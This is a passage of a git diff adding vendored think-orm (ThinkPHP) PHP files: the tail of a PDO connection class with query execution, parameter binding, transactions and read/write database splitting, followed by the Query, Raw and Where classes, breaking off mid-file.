$query->getBind(); + // 生成查询SQL + $sql = $this->builder->select($query); + + return $this->queryPDOStatement($query, $sql, $bind); + } + + /** + * 执行查询但只返回PDOStatement对象 + * @access public + * @param string $sql sql指令 + * @param array $bind 参数绑定 + * @param bool $master 是否在主服务器读操作 + * @param bool $procedure 是否为存储过程调用 + * @return PDOStatement + * @throws BindParamException + * @throws \PDOException + * @throws \Exception + * @throws \Throwable + */ + public function getPDOStatement(string $sql, array $bind = [], bool $master = false, bool $procedure = false): PDOStatement + { + try { + $this->initConnect($this->readMaster ?: $master); + // 记录SQL语句 + $this->queryStr = $sql; + $this->bind = $bind; + + $this->db->updateQueryTimes(); + $this->queryStartTime = microtime(true); + + // 预处理 + $this->PDOStatement = $this->linkID->prepare($sql); + + // 参数绑定 + if ($procedure) { + $this->bindParam($bind); + } else { + $this->bindValue($bind); + } + + // 执行查询 + $this->PDOStatement->execute(); + + // SQL监控 + if (!empty($this->config['trigger_sql'])) { + $this->trigger('', $master); + } + + $this->reConnectTimes = 0; + + return $this->PDOStatement; + } catch (\Throwable | \Exception $e) { + if ($this->reConnectTimes < 4 && $this->isBreak($e)) { + ++$this->reConnectTimes; + return $this->close()->getPDOStatement($sql, $bind, $master, $procedure); + } + + if ($e instanceof \PDOException) { + throw new PDOException($e, $this->config, $this->getLastsql()); + } else { + throw $e; + } + } + } + + /** + * 执行语句 + * @access protected + * @param BaseQuery $query 查询对象 + * @param string $sql sql指令 + * @param array $bind 参数绑定 + * @param bool $origin 是否原生查询 + * @return int + * @throws BindParamException + * @throws \PDOException + * @throws \Exception + * @throws \Throwable + */ + protected function pdoExecute(BaseQuery $query, string $sql, array $bind = [], bool $origin = false): int + { + if ($origin) { + $query->parseOptions(); + } + + $this->queryPDOStatement($query->master(true), $sql, $bind); + + if (!$origin && !empty($this->config['deploy']) && !empty($this->config['read_master'])) { + $this->readMaster = true; + } + + $this->numRows = $this->PDOStatement->rowCount(); + + if ($query->getOptions('cache')) { + // 清理缓存数据 + $cacheItem = $this->parseCache($query, $query->getOptions('cache')); + $key = $cacheItem->getKey(); + $tag = $cacheItem->getTag(); + + if (isset($key) && $this->cache->has($key)) { + $this->cache->delete($key); + } elseif (!empty($tag) && method_exists($this->cache, 'tag')) { + $this->cache->tag($tag)->clear(); + } + } + + return $this->numRows; + } + + protected function queryPDOStatement(BaseQuery $query, string $sql, array $bind = []): PDOStatement + { + $options = $query->getOptions(); + $master = !empty($options['master']) ? true : false; + $procedure = !empty($options['procedure']) ? true : in_array(strtolower(substr(trim($sql), 0, 4)), ['call', 'exec']); + + return $this->getPDOStatement($sql, $bind, $master, $procedure); + } + + /** + * 查找单条记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return array + * @throws DbException + */ + public function find(BaseQuery $query): array + { + // 事件回调 + $result = $this->db->trigger('before_find', $query); + + if (!$result) { + // 执行查询 + $resultSet = $this->pdoQuery($query, function ($query) { + return $this->builder->select($query, true); + }); + + $result = $resultSet[0] ?? []; + } + + return $result; + } + + /** + * 使用游标查询记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return \Generator + */ + public function cursor(BaseQuery $query) + { + // 分析查询表达式 + $options = $query->parseOptions(); + + // 生成查询SQL + $sql = $this->builder->select($query); + + $condition = $options['where']['AND'] ?? null; + + // 执行查询操作 + return $this->getCursor($query, $sql, $query->getBind(), $query->getModel(), $condition); + } + + /** + * 查找记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return array + * @throws DbException + */ + public function select(BaseQuery $query): array + { + $resultSet = $this->db->trigger('before_select', $query); + + if (!$resultSet) { + // 执行查询操作 + $resultSet = $this->pdoQuery($query, function ($query) { + return $this->builder->select($query); + }); + } + + return $resultSet; + } + + /** + * 插入记录 + * @access public + * @param BaseQuery $query 查询对象 + * @param boolean $getLastInsID 返回自增主键 + * @return mixed + */ + public function insert(BaseQuery $query, bool $getLastInsID = false) + { + // 分析查询表达式 + $options = $query->parseOptions(); + + // 生成SQL语句 + $sql = $this->builder->insert($query); + + // 执行操作 + $result = '' == $sql ? 0 : $this->pdoExecute($query, $sql, $query->getBind()); + + if ($result) { + $sequence = $options['sequence'] ?? null; + $lastInsId = $this->getLastInsID($query, $sequence); + + $data = $options['data']; + + if ($lastInsId) { + $pk = $query->getAutoInc(); + if ($pk) { + $data[$pk] = $lastInsId; + } + } + + $query->setOption('data', $data); + + $this->db->trigger('after_insert', $query); + + if ($getLastInsID && $lastInsId) { + return $lastInsId; + } + } + + return $result; + } + + /** + * 批量插入记录 + * @access public + * @param BaseQuery $query 查询对象 + * @param mixed $dataSet 数据集 + * @param integer $limit 每次写入数据限制 + * @return integer + * @throws \Exception + * @throws \Throwable + */ + public function insertAll(BaseQuery $query, array $dataSet = [], int $limit = 0): int + { + if (!is_array(reset($dataSet))) { + return 0; + } + + $options = $query->parseOptions(); + $replace = !empty($options['replace']); + + if (0 === $limit && count($dataSet) >= 5000) { + $limit = 1000; + } + + if ($limit) { + // 分批写入 自动启动事务支持 + $this->startTrans(); + + try { + $array = array_chunk($dataSet, $limit, true); + $count = 0; + + foreach ($array as $item) { + $sql = $this->builder->insertAll($query, $item, $replace); + $count += $this->pdoExecute($query, $sql, $query->getBind()); + } + + // 提交事务 + $this->commit(); + } catch (\Exception | \Throwable $e) { + $this->rollback(); + throw $e; + } + + return $count; + } + + $sql = $this->builder->insertAll($query, $dataSet, $replace); + + return $this->pdoExecute($query, $sql, $query->getBind()); + } + + /** + * 通过Select方式插入记录 + * @access public + * @param BaseQuery $query 查询对象 + * @param array $fields 要插入的数据表字段名 + * @param string $table 要插入的数据表名 + * @return integer + * @throws PDOException + */ + public function selectInsert(BaseQuery $query, array $fields, string $table): int + { + // 分析查询表达式 + $query->parseOptions(); + + $sql = $this->builder->selectInsert($query, $fields, $table); + + return $this->pdoExecute($query, $sql, $query->getBind()); + } + + /** + * 更新记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return integer + * @throws PDOException + */ + public function update(BaseQuery $query): int + { + $query->parseOptions(); + + // 生成UPDATE SQL语句 + $sql = $this->builder->update($query); + + // 执行操作 + $result = '' == $sql ? 0 : $this->pdoExecute($query, $sql, $query->getBind()); + + if ($result) { + $this->db->trigger('after_update', $query); + } + + return $result; + } + + /** + * 删除记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return int + * @throws PDOException + */ + public function delete(BaseQuery $query): int + { + // 分析查询表达式 + $query->parseOptions(); + + // 生成删除SQL语句 + $sql = $this->builder->delete($query); + + // 执行操作 + $result = $this->pdoExecute($query, $sql, $query->getBind()); + + if ($result) { + $this->db->trigger('after_delete', $query); + } + + return $result; + } + + /** + * 得到某个字段的值 + * @access public + * @param BaseQuery $query 查询对象 + * @param string $field 字段名 + * @param mixed $default 默认值 + * @param bool $one 返回一个值 + * @return mixed + */ + public function value(BaseQuery $query, string $field, $default = null, bool $one = true) + { + $options = $query->parseOptions(); + + if (isset($options['field'])) { + $query->removeOption('field'); + } + + if (isset($options['group'])) { + $query->group(''); + } + + $query->setOption('field', (array) $field); + + if (!empty($options['cache'])) { + $cacheItem = $this->parseCache($query, $options['cache'], 'value'); + $key = $cacheItem->getKey(); + + if ($this->cache->has($key)) { + return $this->cache->get($key); + } + } + + // 生成查询SQL + $sql = $this->builder->select($query, $one); + + if (isset($options['field'])) { + $query->setOption('field', $options['field']); + } else { + $query->removeOption('field'); + } + + if (isset($options['group'])) { + $query->setOption('group', $options['group']); + } + + // 执行查询操作 + $pdo = $this->getPDOStatement($sql, $query->getBind(), $options['master']); + + $result = $pdo->fetchColumn(); + + if (isset($cacheItem)) { + // 缓存数据 + $cacheItem->set($result); + $this->cacheData($cacheItem); + } + + return false !== $result ? $result : $default; + } + + /** + * 得到某个字段的值 + * @access public + * @param BaseQuery $query 查询对象 + * @param string $aggregate 聚合方法 + * @param mixed $field 字段名 + * @param bool $force 强制转为数字类型 + * @return mixed + */ + public function aggregate(BaseQuery $query, string $aggregate, $field, bool $force = false) + { + if (is_string($field) && 0 === stripos($field, 'DISTINCT ')) { + [$distinct, $field] = explode(' ', $field); + } + + $field = $aggregate . '(' . (!empty($distinct) ? 'DISTINCT ' : '') . $this->builder->parseKey($query, $field, true) . ') AS think_' . strtolower($aggregate); + + $result = $this->value($query, $field, 0, false); + + return $force ? (float) $result : $result; + } + + /** + * 得到某个列的数组 + * @access public + * @param BaseQuery $query 查询对象 + * @param string $column 字段名 多个字段用逗号分隔 + * @param string $key 索引 + * @return array + */ + public function column(BaseQuery $query, string $column, string $key = ''): array + { + $options = $query->parseOptions(); + + if (isset($options['field'])) { + $query->removeOption('field'); + } + + if ($key && '*' != $column) { + $field = $key . ',' . $column; + } else { + $field = $column; + } + + $field = array_map('trim', explode(',', $field)); + + $query->setOption('field', $field); + + if (!empty($options['cache'])) { + // 判断查询缓存 + $cacheItem = $this->parseCache($query, $options['cache'], 'column'); + $name = $cacheItem->getKey(); + + if ($this->cache->has($name)) { + return $this->cache->get($name); + } + } + + // 生成查询SQL + $sql = $this->builder->select($query); + + if (isset($options['field'])) { + $query->setOption('field', $options['field']); + } else { + $query->removeOption('field'); + } + + // 执行查询操作 + $pdo = $this->getPDOStatement($sql, $query->getBind(), $options['master']); + + $resultSet = $pdo->fetchAll(PDO::FETCH_ASSOC); + + if (empty($resultSet)) { + $result = []; + } elseif (('*' == $column || strpos($column, ',')) && $key) { + $result = array_column($resultSet, null, $key); + } else { + if (empty($key)) { + $key = null; + } + + if (strpos($column, ',')) { + $column = null; + } elseif (strpos($column, ' ')) { + $column = substr(strrchr(trim($column), ' '), 1); + } elseif (strpos($column, '.')) { + [$alias, $column] = explode('.', $column); + } + + if (is_string($key) && strpos($key, '.')) { + [$alias, $key] = explode('.', $key); + } + + $result = array_column($resultSet, $column, $key); + } + + if (isset($cacheItem)) { + // 缓存数据 + $cacheItem->set($result); + $this->cacheData($cacheItem); + } + + return $result; + } + + /** + * 根据参数绑定组装最终的SQL语句 便于调试 + * @access public + * @param string $sql 带参数绑定的sql语句 + * @param array $bind 参数绑定列表 + * @return string + */ + public function getRealSql(string $sql, array $bind = []): string + { + foreach ($bind as $key => $val) { + $value = is_array($val) ? $val[0] : $val; + $type = is_array($val) ? $val[1] : PDO::PARAM_STR; + + if ((self::PARAM_FLOAT == $type || PDO::PARAM_STR == $type) && is_string($value)) { + $value = '\'' . addslashes($value) . '\''; + } elseif (PDO::PARAM_INT == $type && '' === $value) { + $value = 0; + } + + // 判断占位符 + $sql = is_numeric($key) ? + substr_replace($sql, $value, strpos($sql, '?'), 1) : + substr_replace($sql, $value, strpos($sql, ':' . $key), strlen(':' . $key)); + } + + return rtrim($sql); + } + + /** + * 参数绑定 + * 支持 ['name'=>'value','id'=>123] 对应命名占位符 + * 或者 ['value',123] 对应问号占位符 + * @access public + * @param array $bind 要绑定的参数列表 + * @return void + * @throws BindParamException + */ + protected function bindValue(array $bind = []): void + { + foreach ($bind as $key => $val) { + // 占位符 + $param = is_numeric($key) ? $key + 1 : ':' . $key; + + if (is_array($val)) { + if (PDO::PARAM_INT == $val[1] && '' === $val[0]) { + $val[0] = 0; + } elseif (self::PARAM_FLOAT == $val[1]) { + $val[0] = is_string($val[0]) ? (float) $val[0] : $val[0]; + $val[1] = PDO::PARAM_STR; + } + + $result = $this->PDOStatement->bindValue($param, $val[0], $val[1]); + } else { + $result = $this->PDOStatement->bindValue($param, $val); + } + + if (!$result) { + throw new BindParamException( + "Error occurred when binding parameters '{$param}'", + $this->config, + $this->getLastsql(), + $bind + ); + } + } + } + + /** + * 存储过程的输入输出参数绑定 + * @access public + * @param array $bind 要绑定的参数列表 + * @return void + * @throws BindParamException + */ + protected function bindParam(array $bind): void + { + foreach ($bind as $key => $val) { + $param = is_numeric($key) ? $key + 1 : ':' . $key; + + if (is_array($val)) { + array_unshift($val, $param); + $result = call_user_func_array([$this->PDOStatement, 'bindParam'], $val); + } else { + $result = $this->PDOStatement->bindValue($param, $val); + } + + if (!$result) { + $param = array_shift($val); + + throw new BindParamException( + "Error occurred when binding parameters '{$param}'", + $this->config, + $this->getLastsql(), + $bind + ); + } + } + } + + /** + * 获得数据集数组 + * @access protected + * @param bool $procedure 是否存储过程 + * @return array + */ + protected function getResult(bool $procedure = false): array + { + if ($procedure) { + // 存储过程返回结果 + return $this->procedure(); + } + + $result = $this->PDOStatement->fetchAll($this->fetchType); + + $this->numRows = count($result); + + return $result; + } + + /** + * 获得存储过程数据集 + * @access protected + * @return array + */ + protected function procedure(): array + { + $item = []; + + do { + $result = $this->getResult(); + if (!empty($result)) { + $item[] = $result; + } + } while ($this->PDOStatement->nextRowset()); + + $this->numRows = count($item); + + return $item; + } + + /** + * 执行数据库事务 + * @access public + * @param callable $callback 数据操作方法回调 + * @return mixed + * @throws PDOException + * @throws \Exception + * @throws \Throwable + */ + public function transaction(callable $callback) + { + $this->startTrans(); + + try { + $result = null; + if (is_callable($callback)) { + $result = $callback($this); + } + + $this->commit(); + return $result; + } catch (\Exception | \Throwable $e) { + $this->rollback(); + throw $e; + } + } + + /** + * 启动事务 + * @access public + * @return void + * @throws \PDOException + * @throws \Exception + */ + public function startTrans(): void + { + try { + $this->initConnect(true); + + ++$this->transTimes; + + if (1 == $this->transTimes) { + $this->linkID->beginTransaction(); + } elseif ($this->transTimes > 1 && $this->supportSavepoint()) { + $this->linkID->exec( + $this->parseSavepoint('trans' . $this->transTimes) + ); + } + $this->reConnectTimes = 0; + } catch (\Exception $e) { + if ($this->reConnectTimes < 4 && $this->isBreak($e)) { + --$this->transTimes; + ++$this->reConnectTimes; + $this->close()->startTrans(); + } else { + throw $e; + } + } + } + + /** + * 用于非自动提交状态下面的查询提交 + * @access public + * @return void + * @throws PDOException + */ + public function commit(): void + { + $this->initConnect(true); + + if (1 == $this->transTimes) { + $this->linkID->commit(); + } + + --$this->transTimes; + } + + /** + * 事务回滚 + * @access public + * @return void + * @throws PDOException + */ + public function rollback(): void + { + $this->initConnect(true); + + if (1 == $this->transTimes) { + $this->linkID->rollBack(); + } elseif ($this->transTimes > 1 && $this->supportSavepoint()) { + $this->linkID->exec( + $this->parseSavepointRollBack('trans' . $this->transTimes) + ); + } + + $this->transTimes = max(0, $this->transTimes - 1); + } + + /** + * 是否支持事务嵌套 + * @return bool + */ + protected function supportSavepoint(): bool + { + return false; + } + + /** + * 生成定义保存点的SQL + * @access protected + * @param string $name 标识 + * @return string + */ + protected function parseSavepoint(string $name): string + { + return 'SAVEPOINT ' . $name; + } + + /** + * 生成回滚到保存点的SQL + * @access protected + * @param string $name 标识 + * @return string + */ + protected function parseSavepointRollBack(string $name): string + { + return 'ROLLBACK TO SAVEPOINT ' . $name; + } + + /** + * 批处理执行SQL语句 + * 批处理的指令都认为是execute操作 + * @access public + * @param BaseQuery $query 查询对象 + * @param array $sqlArray SQL批处理指令 + * @param array $bind 参数绑定 + * @return bool + */ + public function batchQuery(BaseQuery $query, array $sqlArray = [], array $bind = []): bool + { + // 自动启动事务支持 + $this->startTrans(); + + try { + foreach ($sqlArray as $sql) { + $this->pdoExecute($query, $sql, $bind); + } + // 提交事务 + $this->commit(); + } catch (\Exception $e) { + $this->rollback(); + throw $e; + } + + return true; + } + + /** + * 关闭数据库(或者重新连接) + * @access public + * @return $this + */ + public function close() + { + $this->linkID = null; + $this->linkWrite = null; + $this->linkRead = null; + $this->links = []; + + $this->free(); + + return $this; + } + + /** + * 是否断线 + * @access protected + * @param \PDOException|\Exception $e 异常对象 + * @return bool + */ + protected function isBreak($e): bool + { + if (!$this->config['break_reconnect']) { + return false; + } + + $error = $e->getMessage(); + + foreach ($this->breakMatchStr as $msg) { + if (false !== stripos($error, $msg)) { + return true; + } + } + + return false; + } + + /** + * 获取最近一次查询的sql语句 + * @access public + * @return string + */ + public function getLastSql(): string + { + return $this->getRealSql($this->queryStr, $this->bind); + } + + /** + * 获取最近插入的ID + * @access public + * @param BaseQuery $query 查询对象 + * @param string $sequence 自增序列名 + * @return mixed + */ + public function getLastInsID(BaseQuery $query, string $sequence = null) + { + try { + $insertId = $this->linkID->lastInsertId($sequence); + } catch (\Exception $e) { + $insertId = ''; + } + + return $this->autoInsIDType($query, $insertId); + } + + /** + * 获取最近插入的ID + * @access public + * @param BaseQuery $query 查询对象 + * @param string $insertId 自增ID + * @return mixed + */ + protected function autoInsIDType(BaseQuery $query, string $insertId) + { + $pk = $query->getAutoInc(); + + if ($pk) { + $type = $this->getFieldBindType($pk); + + if (PDO::PARAM_INT == $type) { + $insertId = (int) $insertId; + } elseif (self::PARAM_FLOAT == $type) { + $insertId = (float) $insertId; + } + } + + return $insertId; + } + + /** + * 获取最近的错误信息 + * @access public + * @return string + */ + public function getError(): string + { + if ($this->PDOStatement) { + $error = $this->PDOStatement->errorInfo(); + $error = $error[1] . ':' . $error[2]; + } else { + $error = ''; + } + + if ('' != $this->queryStr) { + $error .= "\n [ SQL语句 ] : " . $this->getLastsql(); + } + + return $error; + } + + /** + * 初始化数据库连接 + * @access protected + * @param boolean $master 是否主服务器 + * @return void + */ + protected function initConnect(bool $master = true): void + { + if (!empty($this->config['deploy'])) { + // 采用分布式数据库 + if ($master || $this->transTimes) { + if (!$this->linkWrite) { + $this->linkWrite = $this->multiConnect(true); + } + + $this->linkID = $this->linkWrite; + } else { + if (!$this->linkRead) { + $this->linkRead = $this->multiConnect(false); + } + + $this->linkID = $this->linkRead; + } + } elseif (!$this->linkID) { + // 默认单数据库 + $this->linkID = $this->connect(); + } + } + + /** + * 连接分布式服务器 + * @access protected + * @param boolean $master 主服务器 + * @return PDO + */ + protected function multiConnect(bool $master = false): PDO + { + $config = []; + + // 分布式数据库配置解析 + foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn', 'charset'] as $name) { + $config[$name] = is_string($this->config[$name]) ? explode(',', $this->config[$name]) : $this->config[$name]; + } + + // 主服务器序号 + $m = floor(mt_rand(0, $this->config['master_num'] - 1)); + + if ($this->config['rw_separate']) { + // 主从式采用读写分离 + if ($master) // 主服务器写入 + { + $r = $m; + } elseif (is_numeric($this->config['slave_no'])) { + // 指定服务器读 + $r = $this->config['slave_no']; + } else { + // 读操作连接从服务器 每次随机连接的数据库 + $r = floor(mt_rand($this->config['master_num'], count($config['hostname']) - 1)); + } + } else { + // 读写操作不区分服务器 每次随机连接的数据库 + $r = floor(mt_rand(0, count($config['hostname']) - 1)); + } + $dbMaster = false; + + if ($m != $r) { + $dbMaster = []; + foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn', 'charset'] as $name) { + $dbMaster[$name] = $config[$name][$m] ?? $config[$name][0]; + } + } + + $dbConfig = []; + + foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn', 'charset'] as $name) { + $dbConfig[$name] = $config[$name][$r] ?? $config[$name][0]; + } + + return $this->connect($dbConfig, $r, $r == $m ? false : $dbMaster); + } + + /** + * 启动XA事务 + * @access public + * @param string $xid XA事务id + * @return void + */ + public function startTransXa(string $xid) + {} + + /** + * 预编译XA事务 + * @access public + * @param string $xid XA事务id + * @return void + */ + public function prepareXa(string $xid) + {} + + /** + * 提交XA事务 + * @access public + * @param string $xid XA事务id + * @return void + */ + public function commitXa(string $xid) + {} + + /** + * 回滚XA事务 + * @access public + * @param string $xid XA事务id + * @return void + */ + public function rollbackXa(string $xid) + {} +} diff --git a/vendor/topthink/think-orm/src/db/Query.php b/vendor/topthink/think-orm/src/db/Query.php new file mode 100644 index 0000000..80e01cd --- /dev/null +++ b/vendor/topthink/think-orm/src/db/Query.php @@ -0,0 +1,451 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +use PDOStatement; +use think\helper\Str; + +/** + * PDO数据查询类 + */ +class Query extends BaseQuery +{ + use concern\JoinAndViewQuery; + use concern\ParamsBind; + use concern\TableFieldInfo; + + /** + * 表达式方式指定Field排序 + * @access public + * @param string $field 排序字段 + * @param array $bind 参数绑定 + * @return $this + */ + public function orderRaw(string $field, array $bind = []) + { + $this->options['order'][] = new Raw($field, $bind); + + return $this; + } + + /** + * 表达式方式指定查询字段 + * @access public + * @param string $field 字段名 + * @return $this + */ + public function fieldRaw(string $field) + { + $this->options['field'][] = new Raw($field); + + return $this; + } + + /** + * 指定Field排序 orderField('id',[1,2,3],'desc') + * @access public + * @param string $field 排序字段 + * @param array $values 排序值 + * @param string $order 排序 desc/asc + * @return $this + */ + public function orderField(string $field, array $values, string $order = '') + { + if (!empty($values)) { + $values['sort'] = $order; + + $this->options['order'][$field] = $values; + } + + return $this; + } + + /** + * 随机排序 + * @access public + * @return $this + */ + public function orderRand() + { + $this->options['order'][] = '[rand]'; + return $this; + } + + /** + * 使用表达式设置数据 + * @access public + * @param string $field 字段名 + * @param string $value 字段值 + * @return $this + */ + public function exp(string $field, string $value) + { + $this->options['data'][$field] = new Raw($value); + return $this; + } + + /** + * 表达式方式指定当前操作的数据表 + * @access public + * @param mixed $table 表名 + * @return $this + */ + public function tableRaw(string $table) + { + $this->options['table'] = new Raw($table); + + return $this; + } + + /** + * 获取执行的SQL语句而不进行实际的查询 + * @access public + * @param bool $fetch 是否返回sql + * @return $this|Fetch + */ + public function fetchSql(bool $fetch = true) + { + $this->options['fetch_sql'] = $fetch; + + if ($fetch) { + return new Fetch($this); + } + + return $this; + } + + /** + * 批处理执行SQL语句 + * 批处理的指令都认为是execute操作 + * @access public + * @param array $sql SQL批处理指令 + * @return bool + */ + public function batchQuery(array $sql = []): bool + { + return $this->connection->batchQuery($this, $sql); + } + + /** + * USING支持 用于多表删除 + * @access public + * @param mixed $using USING + * @return $this + */ + public function using($using) + { + $this->options['using'] = $using; + return $this; + } + + /** + * 存储过程调用 + * @access public + * @param bool $procedure 是否为存储过程查询 + * @return $this + */ + public function procedure(bool $procedure = true) + { + $this->options['procedure'] = $procedure; + return $this; + } + + /** + * 指定group查询 + * @access public + * @param string|array $group GROUP + * @return $this + */ + public function group($group) + { + $this->options['group'] = $group; + return $this; + } + + /** + * 指定having查询 + * @access public + * @param string $having having + * @return $this + */ + public function having(string $having) + { + $this->options['having'] = $having; + return $this; + } + + /** + * 指定distinct查询 + * @access public + * @param bool $distinct 是否唯一 + * @return $this + */ + public function distinct(bool $distinct = true) + { + $this->options['distinct'] = $distinct; + return $this; + } + + /** + * 指定强制索引 + * @access public + * @param string $force 索引名称 + * @return $this + */ + public function force(string $force) + { + $this->options['force'] = $force; + return $this; + } + + /** + * 查询注释 + * @access public + * @param string $comment 注释 + * @return $this + */ + public function comment(string $comment) + { + $this->options['comment'] = $comment; + return $this; + } + + /** + * 设置是否REPLACE + * @access public + * @param bool $replace 是否使用REPLACE写入数据 + * @return $this + */ + public function replace(bool $replace = true) + { + $this->options['replace'] = $replace; + return $this; + } + + /** + * 设置当前查询所在的分区 + * @access public + * @param string|array $partition 分区名称 + * @return $this + */ + public function partition($partition) + { + $this->options['partition'] = $partition; + return $this; + } + + /** + * 设置DUPLICATE + * @access public + * @param array|string|Raw $duplicate DUPLICATE信息 + * @return $this + */ + public function duplicate($duplicate) + { + $this->options['duplicate'] = $duplicate; + return $this; + } + + /** + * 设置查询的额外参数 + * @access public + * @param string $extra 额外信息 + * @return $this + */ + public function extra(string $extra) + { + $this->options['extra'] = $extra; + return $this; + } + + /** + * 创建子查询SQL + * @access public + * @param bool $sub 是否添加括号 + * @return string + * @throws Exception + */ + public function buildSql(bool $sub = true): string + { + return $sub ? '( ' . $this->fetchSql()->select() . ' )' : $this->fetchSql()->select(); + } + + /** + * 获取当前数据表的主键 + * @access public + * @return string|array + */ + public function getPk() + { + if (empty($this->pk)) { + $this->pk = $this->connection->getPk($this->getTable()); + } + + return $this->pk; + } + + /** + * 指定数据表自增主键 + * @access public + * @param string $autoinc 自增键 + * @return $this + */ + public function autoinc(string $autoinc) + { + $this->autoinc = $autoinc; + return $this; + } + + /** + * 获取当前数据表的自增主键 + * @access public + * @return string|null + */ + public function getAutoInc() + { + $tableName = $this->getTable(); + + if (empty($this->autoinc) && $tableName) { + $this->autoinc = $this->connection->getAutoInc($tableName); + } + + return $this->autoinc; + } + + /** + * 字段值增长 + * @access public + * @param string $field 字段名 + * @param float $step 增长值 + * @return $this + */ + public function inc(string $field, float $step = 1) + { + $this->options['data'][$field] = ['INC', $step]; + + return $this; + } + + /** + * 字段值减少 + * @access public + * @param string $field 字段名 + * @param float $step 增长值 + * @return $this + */ + public function dec(string $field, float $step = 1) + { + $this->options['data'][$field] = ['DEC', $step]; + return $this; + } + + /** + * 获取当前的查询标识 + * @access public + * @param mixed $data 要序列化的数据 + * @return string + */ + public function getQueryGuid($data = null): string + { + return md5($this->getConfig('database') . serialize(var_export($data ?: $this->options, true)) . serialize($this->getBind(false))); + } + + /** + * 执行查询但只返回PDOStatement对象 + * @access public + * @return PDOStatement + */ + public function getPdo(): PDOStatement + { + return $this->connection->pdo($this); + } + + /** + * 使用游标查找记录 + * @access public + * @param mixed $data 数据 + * @return \Generator + */ + public function cursor($data = null) + { + if (!is_null($data)) { + // 主键条件分析 + $this->parsePkWhere($data); + } + + $this->options['data'] = $data; + + $connection = clone $this->connection; + + return $connection->cursor($this); + } + + /** + * 分批数据返回处理 + * @access public + * @param integer $count 每次处理的数据数量 + * @param callable $callback 处理回调方法 + * @param string|array $column 分批处理的字段名 + * @param string $order 字段排序 + * @return bool + * @throws Exception + */ + public function chunk(int $count, callable $callback, $column = null, string $order = 'asc'): bool + { + $options = $this->getOptions(); + $column = $column ?: $this->getPk(); + + if (isset($options['order'])) { + unset($options['order']); + } + + $bind = $this->bind; + + if (is_array($column)) { + $times = 1; + $query = $this->options($options)->page($times, $count); + } else { + $query = $this->options($options)->limit($count); + + if (strpos($column, '.')) { + [$alias, $key] = explode('.', $column); + } else { + $key = $column; + } + } + + $resultSet = $query->order($column, $order)->select(); + + while (count($resultSet) > 0) { + if (false === call_user_func($callback, $resultSet)) { + return false; + } + + if (isset($times)) { + $times++; + $query = $this->options($options)->page($times, $count); + } else { + $end = $resultSet->pop(); + $lastId = is_array($end) ? $end[$key] : $end->getData($key); + + $query = $this->options($options) + ->limit($count) + ->where($column, 'asc' == strtolower($order) ? '>' : '<', $lastId); + } + + $resultSet = $query->bind($bind)->order($column, $order)->select(); + } + + return true; + } +} diff --git a/vendor/topthink/think-orm/src/db/Raw.php b/vendor/topthink/think-orm/src/db/Raw.php new file mode 100644 index 0000000..833fbf0 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/Raw.php @@ -0,0 +1,71 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +/** + * SQL Raw + */ +class Raw +{ + /** + * 查询表达式 + * + * @var string + */ + protected $value; + + /** + * 参数绑定 + * + * @var array + */ + protected $bind = []; + + /** + * 创建一个查询表达式 + * + * @param string $value + * @param array $bind + * @return void + */ + public function __construct(string $value, array $bind = []) + { + $this->value = $value; + $this->bind = $bind; + } + + /** + * 获取表达式 + * + * @return string + */ + public function getValue(): string + { + return $this->value; + } + + /** + * 获取参数绑定 + * + * @return string + */ + public function getBind(): array + { + return $this->bind; + } + + public function __toString() + { + return (string) $this->value; + } +} diff --git a/vendor/topthink/think-orm/src/db/Where.php b/vendor/topthink/think-orm/src/db/Where.php new file mode 100644 index 0000000..0880460 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/Where.php @@ -0,0 +1,182 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +use ArrayAccess; + +/** + * 数组查询对象 + */ +class Where implements ArrayAccess +{ + /** + * 查询表达式 + * @var array + */ + protected $where = []; + + /** + * 是否需要把查询条件两边增加括号 + * @var bool + */ + protected $enclose = false; + + /** + * 创建一个查询表达式 + * + * @param array $where 查询条件数组 + * @param bool $enclose 是否增加括号 + */ + public function __construct(array $where = [], bool $enclose = false) + { + $this->where = $where; + $this->enclose = $enclose; + } + + /** + * 设置是否添加括号 + * @access public + * @param bool $enclose + * @return $this + */ + public function enclose(bool $enclose = true) + { + $this->enclose = $enclose; + return $this; + } + + /** + * 解析为Query对象可识别的查询条件数组 + * @access public + * @return array + */ + public function parse(): array + { + $where = []; + + foreach ($this->where as $key => $val) { + if ($val instanceof Raw) { + $where[] = [$key, 'exp', $val]; + } elseif (is_null($val)) { + $where[] = [$key, 'NULL', '']; + } elseif (is_array($val)) { + $where[] = $this->parseItem($key, $val); + } else { + $where[] = [$key, '=', $val]; + } + } + + return $this->enclose ? [$where] : $where; + } + + /** + * 分析查询表达式 + * @access protected + * @param string $field 查询字段 + * @param array $where 查询条件 + * @return array + */ + protected function parseItem(string $field, array $where = []): array + { + $op = $where[0]; + $condition = $where[1] ?? null; + + if (is_array($op)) { + // 同一字段多条件查询 + array_unshift($where, $field); + } elseif (is_null($condition)) { + if (is_string($op) && in_array(strtoupper($op), ['NULL', 'NOTNULL', 'NOT NULL'], true)) { + // null查询 + $where = [$field, $op, '']; + } elseif (is_null($op) || '=' == $op) { + $where = [$field, 'NULL', '']; + } elseif ('<>' == $op) { + $where = [$field, 'NOTNULL', '']; + } else { + // 字段相等查询 + $where = [$field, '=', $op]; + } + } else { + $where = [$field, $op, $condition]; + } + + return $where; + } + + /** + * 修改器 设置数据对象的值 + * @access public + * @param string $name 名称 + * @param mixed $value 值 + * @return void + */ + public function __set($name, $value) + { + $this->where[$name] = $value; + } + + /** + * 获取器 获取数据对象的值 + * @access public + * @param string $name 名称 + * @return mixed + */ + public function __get($name) + { + return $this->where[$name] ?? null; + } + + /** + * 检测数据对象的值 + * @access public + * @param string $name 名称 + * @return bool + */ + public function __isset($name) + { + return isset($this->where[$name]); + } + + /** + * 销毁数据对象的值 + * @access public + * @param string $name 名称 + * @return void + */ + public function __unset($name) + { + unset($this->where[$name]); + } + + // ArrayAccess + public function offsetSet($name, 